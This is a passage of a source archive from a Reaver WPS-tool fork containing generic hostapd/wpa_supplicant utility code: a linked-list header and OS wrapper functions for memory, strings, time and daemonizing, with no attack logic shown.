AF_INET / AF_INET6 */ union { struct in_addr v4; #ifdef CONFIG_IPV6 struct in6_addr v6; #endif /* CONFIG_IPV6 */ u8 max_len[16]; } u; }; const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, size_t buflen); int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b); int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr); #endif /* IP_ADDR_H */ reaver-wps-fork-t6x-1.6.6/src/utils/list.h000077500000000000000000000042151363372615500203700ustar00rootroot00000000000000/* * Doubly-linked list * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef LIST_H #define LIST_H /** * struct dl_list - Doubly-linked list */ struct dl_list { struct dl_list *next; struct dl_list *prev; }; static inline void dl_list_init(struct dl_list *list) { list->next = list; list->prev = list; } static inline void dl_list_add(struct dl_list *list, struct dl_list *item) { item->next = list->next; item->prev = list; list->next->prev = item; list->next = item; } static inline void dl_list_add_tail(struct dl_list *list, struct dl_list *item) { dl_list_add(list->prev, item); } static inline void dl_list_del(struct dl_list *item) { item->next->prev = item->prev; item->prev->next = item->next; item->next = NULL; item->prev = NULL; } static inline int dl_list_empty(struct dl_list *list) { return list->next == list; } static inline unsigned int dl_list_len(struct dl_list *list) { struct dl_list *item; int count = 0; for (item = list->next; item != list; item = item->next) count++; return count; } #ifndef offsetof #define offsetof(type, member) ((long) &((type *) 0)->member) #endif #define dl_list_entry(item, type, member) \ ((type *) ((char *) item - offsetof(type, member))) #define dl_list_first(list, type, member) \ (dl_list_empty((list)) ? NULL : \ dl_list_entry((list)->next, type, member)) #define dl_list_for_each(item, list, type, member) \ for (item = dl_list_entry((list)->next, type, member); \ &item->member != (list); \ item = dl_list_entry(item->member.next, type, member)) #define dl_list_for_each_safe(item, n, list, type, member) \ for (item = dl_list_entry((list)->next, type, member), \ n = dl_list_entry(item->member.next, type, member); \ &item->member != (list); \ item = n, n = dl_list_entry(n->member.next, type, member)) #endif /* LIST_H */ reaver-wps-fork-t6x-1.6.6/src/utils/os.h000077500000000000000000000357021363372615500200430ustar00rootroot00000000000000/* * OS specific functions * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef OS_H #define OS_H typedef long os_time_t; /** * os_sleep - Sleep (sec, usec) * @sec: Number of seconds to sleep * @usec: Number of microseconds to sleep */ void os_sleep(os_time_t sec, os_time_t usec); struct os_time { os_time_t sec; os_time_t usec; }; /** * os_get_time - Get current time (sec, usec) * @t: Pointer to buffer for the time * Returns: 0 on success, -1 on failure */ int os_get_time(struct os_time *t); /* Helper macros for handling struct os_time */ #define os_time_before(a, b) \ ((a)->sec < (b)->sec || \ ((a)->sec == (b)->sec && (a)->usec < (b)->usec)) #define os_time_sub(a, b, res) do { \ (res)->sec = (a)->sec - (b)->sec; \ (res)->usec = (a)->usec - (b)->usec; \ if ((res)->usec < 0) { \ (res)->sec--; \ (res)->usec += 1000000; \ } \ } while (0) /** * os_mktime - Convert broken-down time into seconds since 1970-01-01 * @year: Four digit year * @month: Month (1 .. 12) * @day: Day of month (1 .. 31) * @hour: Hour (0 .. 23) * @min: Minute (0 .. 59) * @sec: Second (0 .. 60) * @t: Buffer for returning calendar time representation (seconds since * 1970-01-01 00:00:00) * Returns: 0 on success, -1 on failure * * Note: The result is in seconds from Epoch, i.e., in UTC, not in local time * which is used by POSIX mktime(). */ int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t); /** * os_daemonize - Run in the background (detach from the controlling terminal) * @pid_file: File name to write the process ID to or %NULL to skip this * Returns: 0 on success, -1 on failure */ int os_daemonize(const char *pid_file); /** * os_daemonize_terminate - Stop running in the background (remove pid file) * @pid_file: File name to write the process ID to or %NULL to skip this */ void os_daemonize_terminate(const char *pid_file); /** * os_get_random - Get cryptographically strong pseudo random data * @buf: Buffer for pseudo random data * @len: Length of the buffer * Returns: 0 on success, -1 on failure */ int os_get_random(unsigned char *buf, size_t len); /** * os_random - Get pseudo random value (not necessarily very strong) * Returns: Pseudo random value */ unsigned long os_random(void); /** * os_rel2abs_path - Get an absolute path for a file * @rel_path: Relative path to a file * Returns: Absolute path for the file or %NULL on failure * * This function tries to convert a relative path of a file to an absolute path * in order for the file to be found even if current working directory has * changed. The returned value is allocated and caller is responsible for * freeing it. It is acceptable to just return the same path in an allocated * buffer, e.g., return strdup(rel_path). This function is only used to find * configuration files when os_daemonize() may have changed the current working * directory and relative path would be pointing to a different location. */ char * os_rel2abs_path(const char *rel_path); /** * os_program_init - Program initialization (called at start) * Returns: 0 on success, -1 on failure * * This function is called when a programs starts. If there are any OS specific * processing that is needed, it can be placed here. It is also acceptable to * just return 0 if not special processing is needed. */ int os_program_init(void); /** * os_program_deinit - Program deinitialization (called just before exit) * * This function is called just before a program exists. If there are any OS * specific processing, e.g., freeing resourced allocated in os_program_init(), * it should be done here. It is also acceptable for this function to do * nothing. */ void os_program_deinit(void); /** * os_setenv - Set environment variable * @name: Name of the variable * @value: Value to set to the variable * @overwrite: Whether existing variable should be overwritten * Returns: 0 on success, -1 on error * * This function is only used for wpa_cli action scripts. OS wrapper does not * need to implement this if such functionality is not needed. */ int os_setenv(const char *name, const char *value, int overwrite); /** * os_unsetenv - Delete environent variable * @name: Name of the variable * Returns: 0 on success, -1 on error * * This function is only used for wpa_cli action scripts. OS wrapper does not * need to implement this if such functionality is not needed. */ int os_unsetenv(const char *name); /** * os_readfile - Read a file to an allocated memory buffer * @name: Name of the file to read * @len: For returning the length of the allocated buffer * Returns: Pointer to the allocated buffer or %NULL on failure * * This function allocates memory and reads the given file to this buffer. Both * binary and text files can be read with this function. The caller is * responsible for freeing the returned buffer with os_free(). */ char * os_readfile(const char *name, size_t *len); /** * os_zalloc - Allocate and zero memory * @size: Number of bytes to allocate * Returns: Pointer to allocated and zeroed memory or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ void * os_zalloc(size_t size); /* * The following functions are wrapper for standard ANSI C or POSIX functions. * By default, they are just defined to use the standard function name and no * os_*.c implementation is needed for them. This avoids extra function calls * by allowing the C pre-processor take care of the function name mapping. * * If the target system uses a C library that does not provide these functions, * build_config.h can be used to define the wrappers to use a different * function name. This can be done on function-by-function basis since the * defines here are only used if build_config.h does not define the os_* name. * If needed, os_*.c file can be used to implement the functions that are not * included in the C library on the target system. Alternatively, * OS_NO_C_LIB_DEFINES can be defined to skip all defines here in which case * these functions need to be implemented in os_*.c file for the target system. */ #ifdef OS_NO_C_LIB_DEFINES /** * os_malloc - Allocate dynamic memory * @size: Size of the buffer to allocate * Returns: Allocated buffer or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ void * os_malloc(size_t size); /** * os_realloc - Re-allocate dynamic memory * @ptr: Old buffer from os_malloc() or os_realloc() * @size: Size of the new buffer * Returns: Allocated buffer or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). * If re-allocation fails, %NULL is returned and the original buffer (ptr) is * not freed and caller is still responsible for freeing it. */ void * os_realloc(void *ptr, size_t size); /** * os_free - Free dynamic memory * @ptr: Old buffer from os_malloc() or os_realloc(); can be %NULL */ void os_free(void *ptr); /** * os_memcpy - Copy memory area * @dest: Destination * @src: Source * @n: Number of bytes to copy * Returns: dest * * The memory areas src and dst must not overlap. os_memmove() can be used with * overlapping memory. */ void * os_memcpy(void *dest, const void *src, size_t n); /** * os_memmove - Copy memory area * @dest: Destination * @src: Source * @n: Number of bytes to copy * Returns: dest * * The memory areas src and dst may overlap. */ void * os_memmove(void *dest, const void *src, size_t n); /** * os_memset - Fill memory with a constant byte * @s: Memory area to be filled * @c: Constant byte * @n: Number of bytes started from s to fill with c * Returns: s */ void * os_memset(void *s, int c, size_t n); /** * os_memcmp - Compare memory areas * @s1: First buffer * @s2: Second buffer * @n: Maximum numbers of octets to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_memcmp(const void *s1, const void *s2, size_t n); /** * os_strdup - Duplicate a string * @s: Source string * Returns: Allocated buffer with the string copied into it or %NULL on failure * * Caller is responsible for freeing the returned buffer with os_free(). */ char * os_strdup(const char *s); /** * os_strlen - Calculate the length of a string * @s: '\0' terminated string * Returns: Number of characters in s (not counting the '\0' terminator) */ size_t os_strlen(const char *s); /** * os_strcasecmp - Compare two strings ignoring case * @s1: First string * @s2: Second string * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greatred than s2 */ int os_strcasecmp(const char *s1, const char *s2); /** * os_strncasecmp - Compare two strings ignoring case * @s1: First string * @s2: Second string * @n: Maximum numbers of characters to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_strncasecmp(const char *s1, const char *s2, size_t n); /** * os_strchr - Locate the first occurrence of a character in string * @s: String * @c: Character to search for * Returns: Pointer to the matched character or %NULL if not found */ char * os_strchr(const char *s, int c); /** * os_strrchr - Locate the last occurrence of a character in string * @s: String * @c: Character to search for * Returns: Pointer to the matched character or %NULL if not found */ char * os_strrchr(const char *s, int c); /** * os_strcmp - Compare two strings * @s1: First string * @s2: Second string * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greatred than s2 */ int os_strcmp(const char *s1, const char *s2); /** * os_strncmp - Compare two strings * @s1: First string * @s2: Second string * @n: Maximum numbers of characters to compare * Returns: An integer less than, equal to, or greater than zero if s1 is * found to be less than, to match, or be greater than s2. Only first n * characters will be compared. */ int os_strncmp(const char *s1, const char *s2, size_t n); /** * os_strncpy - Copy a string * @dest: Destination * @src: Source * @n: Maximum number of characters to copy * Returns: dest */ char * os_strncpy(char *dest, const char *src, size_t n); /** * os_strstr - Locate a substring * @haystack: String (haystack) to search from * @needle: Needle to search from haystack * Returns: Pointer to the beginning of the substring or %NULL if not found */ char * os_strstr(const char *haystack, const char *needle); /** * os_snprintf - Print to a memory buffer * @str: Memory buffer to print into * @size: Maximum length of the str buffer * @format: printf format * Returns: Number of characters printed (not including trailing '\0'). * * If the output buffer is truncated, number of characters which would have * been written is returned. Since some C libraries return -1 in such a case, * the caller must be prepared on that value, too, to indicate truncation. * * Note: Some C library implementations of snprintf() may not guarantee null * termination in case the output is truncated. The OS wrapper function of * os_snprintf() should provide this guarantee, i.e., to null terminate the * output buffer if a C library version of the function is used and if that * function does not guarantee null termination. * * If the target system does not include snprintf(), see, e.g., * http://www.ijs.si/software/snprintf/ for an example of a portable * implementation of snprintf. */ int os_snprintf(char *str, size_t size, const char *format, ...); #else /* OS_NO_C_LIB_DEFINES */ #ifdef WPA_TRACE void * os_malloc(size_t size); void * os_realloc(void *ptr, size_t size); void os_free(void *ptr); char * os_strdup(const char *s); #else /* WPA_TRACE */ #ifndef os_malloc #define os_malloc(s) malloc((s)) #endif #ifndef os_realloc #define os_realloc(p, s) realloc((p), (s)) #endif #ifndef os_free #define os_free(p) free((p)) #endif #ifndef os_strdup #ifdef _MSC_VER #define os_strdup(s) _strdup(s) #else #define os_strdup(s) strdup(s) #endif #endif #endif /* WPA_TRACE */ #ifndef os_memcpy #define os_memcpy(d, s, n) memcpy((d), (s), (n)) #endif #ifndef os_memmove #define os_memmove(d, s, n) memmove((d), (s), (n)) #endif #ifndef os_memset #define os_memset(s, c, n) memset(s, c, n) #endif #ifndef os_memcmp #define os_memcmp(s1, s2, n) memcmp((s1), (s2), (n)) #endif #ifndef os_strlen #define os_strlen(s) strlen(s) #endif #ifndef os_strcasecmp #ifdef _MSC_VER #define os_strcasecmp(s1, s2) _stricmp((s1), (s2)) #else #define os_strcasecmp(s1, s2) strcasecmp((s1), (s2)) #endif #endif #ifndef os_strncasecmp #ifdef _MSC_VER #define os_strncasecmp(s1, s2, n) _strnicmp((s1), (s2), (n)) #else #define os_strncasecmp(s1, s2, n) strncasecmp((s1), (s2), (n)) #endif #endif #ifndef os_strchr #define os_strchr(s, c) strchr((s), (c)) #endif #ifndef os_strcmp #define os_strcmp(s1, s2) strcmp((s1), (s2)) #endif #ifndef os_strncmp #define os_strncmp(s1, s2, n) strncmp((s1), (s2), (n)) #endif #ifndef os_strncpy #define os_strncpy(d, s, n) strncpy((d), (s), (n)) #endif #ifndef os_strrchr #define os_strrchr(s, c) strrchr((s), (c)) #endif #ifndef os_strstr #define os_strstr(h, n) strstr((h), (n)) #endif #ifndef os_snprintf #ifdef _MSC_VER #define os_snprintf _snprintf #else #define os_snprintf snprintf #endif #endif #endif /* OS_NO_C_LIB_DEFINES */ /** * os_strlcpy - Copy a string with size bound and NUL-termination * @dest: Destination * @src: Source * @siz: Size of the target buffer * Returns: Total length of the target string (length of src) (not including * NUL-termination) * * This function matches in behavior with the strlcpy(3) function in OpenBSD. */ size_t os_strlcpy(char *dest, const char *src, size_t siz); #ifdef OS_REJECT_C_LIB_FUNCTIONS #define malloc OS_DO_NOT_USE_malloc #define realloc OS_DO_NOT_USE_realloc #define free OS_DO_NOT_USE_free #define memcpy OS_DO_NOT_USE_memcpy #define memmove OS_DO_NOT_USE_memmove #define memset OS_DO_NOT_USE_memset #define memcmp OS_DO_NOT_USE_memcmp #undef strdup #define strdup OS_DO_NOT_USE_strdup #define strlen OS_DO_NOT_USE_strlen #define strcasecmp OS_DO_NOT_USE_strcasecmp #define strncasecmp OS_DO_NOT_USE_strncasecmp #undef strchr #define strchr OS_DO_NOT_USE_strchr #undef strcmp #define strcmp OS_DO_NOT_USE_strcmp #undef strncmp #define strncmp OS_DO_NOT_USE_strncmp #undef strncpy #define strncpy OS_DO_NOT_USE_strncpy #define strrchr OS_DO_NOT_USE_strrchr #define strstr OS_DO_NOT_USE_strstr #undef snprintf #define snprintf OS_DO_NOT_USE_snprintf #define strcpy OS_DO_NOT_USE_strcpy #endif /* OS_REJECT_C_LIB_FUNCTIONS */ #endif /* OS_H */ reaver-wps-fork-t6x-1.6.6/src/utils/os_internal.c000077500000000000000000000164731363372615500217360ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Internal implementation of OS specific functions * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file is an example of operating system specific wrapper functions. * This version implements many of the functions internally, so it can be used * to fill in missing functions from the target system C libraries. * * Some of the functions are using standard C library calls in order to keep * this file in working condition to allow the functions to be tested on a * Linux target. Please note that OS_NO_C_LIB_DEFINES needs to be defined for * this file to work correctly. Note that these implementations are only * examples and are not optimized for speed. */ #include "includes.h" #undef OS_REJECT_C_LIB_FUNCTIONS #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { if (sec) sleep(sec); if (usec) usleep(usec); } int os_get_time(struct os_time *t) { int res; struct timeval tv; res = gettimeofday(&tv, NULL); t->sec = tv.tv_sec; t->usec = tv.tv_usec; return res; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; os_memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; *t = (os_time_t) mktime(&tm); return 0; } int os_daemonize(const char *pid_file) { if (daemon(0, 0)) { perror("daemon"); return -1; } if (pid_file) { FILE *f = fopen(pid_file, "w"); if (f) { fprintf(f, "%u\n", getpid()); fclose(f); } } return -0; } void os_daemonize_terminate(const char *pid_file) { if (pid_file) unlink(pid_file); } int os_get_random(unsigned char *buf, size_t len) { FILE *f; size_t rc; f = fopen("/dev/urandom", "rb"); if (f == NULL) { printf("Could not open /dev/urandom.\n"); return -1; } rc = fread(buf, 1, len, f); fclose(f); return rc != len ? -1 : 0; } unsigned long os_random(void) { return random(); } char * os_rel2abs_path(const char *rel_path) { char *buf = NULL, *cwd, *ret; size_t len = 128, cwd_len, rel_len, ret_len; if (rel_path[0] == '/') return os_strdup(rel_path); for (;;) { buf = os_malloc(len); if (buf == NULL) return NULL; cwd = getcwd(buf, len); if (cwd == NULL) { os_free(buf); if (errno != ERANGE) { return NULL; } len *= 2; } else { break; } } cwd_len = strlen(cwd); rel_len = strlen(rel_path); ret_len = cwd_len + 1 + rel_len + 1; ret = os_malloc(ret_len); if (ret) { os_memcpy(ret, cwd, cwd_len); ret[cwd_len] = '/'; os_memcpy(ret + cwd_len + 1, rel_path, rel_len); ret[ret_len - 1] = '\0'; } os_free(buf); return ret; } int os_program_init(void) { return 0; } void os_program_deinit(void) { } int os_setenv(const char *name, const char *value, int overwrite) { return setenv(name, value, overwrite); } int os_unsetenv(const char *name) { #if defined(__FreeBSD__) || defined(__NetBSD__) unsetenv(name); return 0; #else return unsetenv(name); #endif } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = os_malloc(*len); if (buf == NULL) { fclose(f); return NULL; } if (fread(buf, 1, *len, f) != *len) { fclose(f); os_free(buf); return NULL; } fclose(f); return buf; } void * os_zalloc(size_t size) { void *n = os_malloc(size); if (n) os_memset(n, 0, size); return n; } void * os_malloc(size_t size) { return malloc(size); } void * os_realloc(void *ptr, size_t size) { return realloc(ptr, size); } void os_free(void *ptr) { free(ptr); } void * os_memcpy(void *dest, const void *src, size_t n) { char *d = dest; const char *s = src; while (n--) *d++ = *s++; return dest; } void * os_memmove(void *dest, const void *src, size_t n) { if (dest < src) os_memcpy(dest, src, n); else { /* overlapping areas */ char *d = (char *) dest + n; const char *s = (const char *) src + n; while (n--) *--d = *--s; } return dest; } void * os_memset(void *s, int c, size_t n) { char *p = s; while (n--) *p++ = c; return s; } int os_memcmp(const void *s1, const void *s2, size_t n) { const unsigned char *p1 = s1, *p2 = s2; if (n == 0) return 0; while (*p1 == *p2) { p1++; p2++; n--; if (n == 0) return 0; } return *p1 - *p2; } char * os_strdup(const char *s) { char *res; size_t len; if (s == NULL) return NULL; len = os_strlen(s); res = os_malloc(len + 1); if (res) os_memcpy(res, s, len + 1); return res; } size_t os_strlen(const char *s) { const char *p = s; while (*p) p++; return p - s; } int os_strcasecmp(const char *s1, const char *s2) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strcmp(s1, s2); } int os_strncasecmp(const char *s1, const char *s2, size_t n) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strncmp(s1, s2, n); } char * os_strchr(const char *s, int c) { while (*s) { if (*s == c) return (char *) s; s++; } return NULL; } char * os_strrchr(const char *s, int c) { const char *p = s; while (*p) p++; p--; while (p >= s) { if (*p == c) return (char *) p; p--; } return NULL; } int os_strcmp(const char *s1, const char *s2) { while (*s1 == *s2) { if (*s1 == '\0') break; s1++; s2++; } return *s1 - *s2; } int os_strncmp(const char *s1, const char *s2, size_t n) { if (n == 0) return 0; while (*s1 == *s2) { if (*s1 == '\0') break; s1++; s2++; n--; if (n == 0) return 0; } return *s1 - *s2; } char * os_strncpy(char *dest, const char *src, size_t n) { char *d = dest; while (n--) { *d = *src; if (*src == '\0') break; d++; src++; } return dest; } size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } char * os_strstr(const char *haystack, const char *needle) { size_t len = os_strlen(needle); while (*haystack) { if (os_strncmp(haystack, needle, len) == 0) return (char *) haystack; haystack++; } return NULL; } int os_snprintf(char *str, size_t size, const char *format, ...) { va_list ap; int ret; /* See http://www.ijs.si/software/snprintf/ for portable * implementation of snprintf. */ va_start(ap, format); ret = vsnprintf(str, size, format, ap); va_end(ap); if (size > 0) str[size - 1] = '\0'; return ret; } reaver-wps-fork-t6x-1.6.6/src/utils/os_none.c000077500000000000000000000063111363372615500210470ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Empty OS specific functions * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file can be used as a starting point when adding a new OS target. The * functions here do not really work as-is since they are just empty or only * return an error value. os_internal.c can be used as another starting point * or reference since it has example implementation of many of these functions. */ #include "includes.h" #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { } int os_get_time(struct os_time *t) { return -1; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { return -1; } int os_daemonize(const char *pid_file) { return -1; } void os_daemonize_terminate(const char *pid_file) { } int os_get_random(unsigned char *buf, size_t len) { return -1; } unsigned long os_random(void) { return 0; } char * os_rel2abs_path(const char *rel_path) { return NULL; /* strdup(rel_path) can be used here */ } int os_program_init(void) { return 0; } void os_program_deinit(void) { } int os_setenv(const char *name, const char *value, int overwrite) { return -1; } int os_unsetenv(const char *name) { return -1; } char * os_readfile(const char *name, size_t *len) { return NULL; } void * os_zalloc(size_t size) { return NULL; } #ifdef OS_NO_C_LIB_DEFINES void * os_malloc(size_t size) { return NULL; } void * os_realloc(void *ptr, size_t size) { return NULL; } void os_free(void *ptr) { } void * os_memcpy(void *dest, const void *src, size_t n) { return dest; } void * os_memmove(void *dest, const void *src, size_t n) { return dest; } void * os_memset(void *s, int c, size_t n) { return s; } int os_memcmp(const void *s1, const void *s2, size_t n) { return 0; } char * os_strdup(const char *s) { return NULL; } size_t os_strlen(const char *s) { return 0; } int os_strcasecmp(const char *s1, const char *s2) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strcmp(s1, s2); } int os_strncasecmp(const char *s1, const char *s2, size_t n) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strncmp(s1, s2, n); } char * os_strchr(const char *s, int c) { return NULL; } char * os_strrchr(const char *s, int c) { return NULL; } int os_strcmp(const char *s1, const char *s2) { return 0; } int os_strncmp(const char *s1, const char *s2, size_t n) { return 0; } char * os_strncpy(char *dest, const char *src, size_t n) { return dest; } size_t os_strlcpy(char *dest, const char *src, size_t size) { return 0; } char * os_strstr(const char *haystack, const char *needle) { return NULL; } int os_snprintf(char *str, size_t size, const char *format, ...) { return 0; } #endif /* OS_NO_C_LIB_DEFINES */ reaver-wps-fork-t6x-1.6.6/src/utils/os_unix.c000077500000000000000000000164671363372615500211100ustar00rootroot00000000000000/* * OS specific functions for UNIX/POSIX systems * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "os.h" #ifdef WPA_TRACE #include "common.h" #include "list.h" #include "wpa_debug.h" #include "trace.h" static struct dl_list alloc_list; #define ALLOC_MAGIC 0xa84ef1b2 #define FREED_MAGIC 0x67fd487a struct os_alloc_trace { unsigned int magic; struct dl_list list; size_t len; WPA_TRACE_INFO }; #endif /* WPA_TRACE */ void os_sleep(os_time_t sec, os_time_t usec) { if (sec) sleep(sec); if (usec) usleep(usec); } int os_get_time(struct os_time *t) { int res; struct timeval tv; res = gettimeofday(&tv, NULL); t->sec = tv.tv_sec; t->usec = tv.tv_usec; return res; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm, *tm1; time_t t_local, t1, t2; os_time_t tz_offset; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; t_local = mktime(&tm); /* figure out offset to UTC */ tm1 = localtime(&t_local); if (tm1) { t1 = mktime(tm1); tm1 = gmtime(&t_local); if (tm1) { t2 = mktime(tm1); tz_offset = t2 - t1; } else tz_offset = 0; } else tz_offset = 0; *t = (os_time_t) t_local - tz_offset; return 0; } #ifdef __APPLE__ #include static int os_daemon(int nochdir, int noclose) { int devnull; if (chdir("/") < 0) return -1; devnull = open("/dev/null", O_RDWR); if (devnull < 0) return -1; if (dup2(devnull, STDIN_FILENO) < 0) { close(devnull); return -1; } if (dup2(devnull, STDOUT_FILENO) < 0) { close(devnull); return -1; } if (dup2(devnull, STDERR_FILENO) < 0) { close(devnull); return -1; } return 0; } #else /* __APPLE__ */ #define os_daemon daemon #endif /* __APPLE__ */ int os_daemonize(const char *pid_file) { #ifdef __uClinux__ return -1; #else /* __uClinux__ */ if (os_daemon(0, 0)) { perror("daemon"); return -1; } if (pid_file) { FILE *f = fopen(pid_file, "w"); if (f) { fprintf(f, "%u\n", getpid()); fclose(f); } } return -0; #endif /* __uClinux__ */ } void os_daemonize_terminate(const char *pid_file) { if (pid_file) unlink(pid_file); } int os_get_random(unsigned char *buf, size_t len) { FILE *f; size_t rc; f = fopen("/dev/urandom", "rb"); if (f == NULL) { printf("Could not open /dev/urandom.\n"); return -1; } rc = fread(buf, 1, len, f); fclose(f); return rc != len ? -1 : 0; } unsigned long os_random(void) { return random(); } char * os_rel2abs_path(const char *rel_path) { char *buf = NULL, *cwd, *ret; size_t len = 128, cwd_len, rel_len, ret_len; int last_errno; if (rel_path[0] == '/') return os_strdup(rel_path); for (;;) { buf = os_malloc(len); if (buf == NULL) return NULL; cwd = getcwd(buf, len); if (cwd == NULL) { last_errno = errno; os_free(buf); if (last_errno != ERANGE) return NULL; len *= 2; if (len > 2000) return NULL; } else { buf[len - 1] = '\0'; break; } } cwd_len = os_strlen(cwd); rel_len = os_strlen(rel_path); ret_len = cwd_len + 1 + rel_len + 1; ret = os_malloc(ret_len); if (ret) { os_memcpy(ret, cwd, cwd_len); ret[cwd_len] = '/'; os_memcpy(ret + cwd_len + 1, rel_path, rel_len); ret[ret_len - 1] = '\0'; } os_free(buf); return ret; } int os_program_init(void) { #ifdef WPA_TRACE dl_list_init(&alloc_list); #endif /* WPA_TRACE */ return 0; } void os_program_deinit(void) { #ifdef WPA_TRACE struct os_alloc_trace *a; unsigned long total = 0; dl_list_for_each(a, &alloc_list, struct os_alloc_trace, list) { total += a->len; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "MEMLEAK[%p]: invalid magic 0x%x " "len %lu", a, a->magic, (unsigned long) a->len); continue; } wpa_printf(MSG_INFO, "MEMLEAK[%p]: len %lu", a, (unsigned long) a->len); wpa_trace_dump("memleak", a); } if (total) wpa_printf(MSG_INFO, "MEMLEAK: total %lu bytes", (unsigned long) total); #endif /* WPA_TRACE */ } int os_setenv(const char *name, const char *value, int overwrite) { return setenv(name, value, overwrite); } int os_unsetenv(const char *name) { #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__APPLE__) || \ defined(__OpenBSD__) unsetenv(name); return 0; #else return unsetenv(name); #endif } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = os_malloc(*len); if (buf == NULL) { fclose(f); return NULL; } if (fread(buf, 1, *len, f) != *len) { fclose(f); os_free(buf); return NULL; } fclose(f); return buf; } #ifndef WPA_TRACE void * os_zalloc(size_t size) { return calloc(1, size); } #endif /* WPA_TRACE */ size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } #ifdef WPA_TRACE void * os_malloc(size_t size) { struct os_alloc_trace *a; a = malloc(sizeof(*a) + size); if (a == NULL) return NULL; a->magic = ALLOC_MAGIC; dl_list_add(&alloc_list, &a->list); a->len = size; wpa_trace_record(a); return a + 1; } void * os_realloc(void *ptr, size_t size) { struct os_alloc_trace *a; size_t copy_len; void *n; if (ptr == NULL) return os_malloc(size); a = (struct os_alloc_trace *) ptr - 1; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "REALLOC[%p]: invalid magic 0x%x%s", a, a->magic, a->magic == FREED_MAGIC ? " (already freed)" : ""); wpa_trace_show("Invalid os_realloc() call"); abort(); } n = os_malloc(size); if (n == NULL) return NULL; copy_len = a->len; if (copy_len > size) copy_len = size; os_memcpy(n, a + 1, copy_len); os_free(ptr); return n; } void os_free(void *ptr) { struct os_alloc_trace *a; if (ptr == NULL) return; a = (struct os_alloc_trace *) ptr - 1; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "FREE[%p]: invalid magic 0x%x%s", a, a->magic, a->magic == FREED_MAGIC ? " (already freed)" : ""); wpa_trace_show("Invalid os_free() call"); abort(); } dl_list_del(&a->list); a->magic = FREED_MAGIC; wpa_trace_check_ref(ptr); free(a); } void * os_zalloc(size_t size) { void *ptr = os_malloc(size); 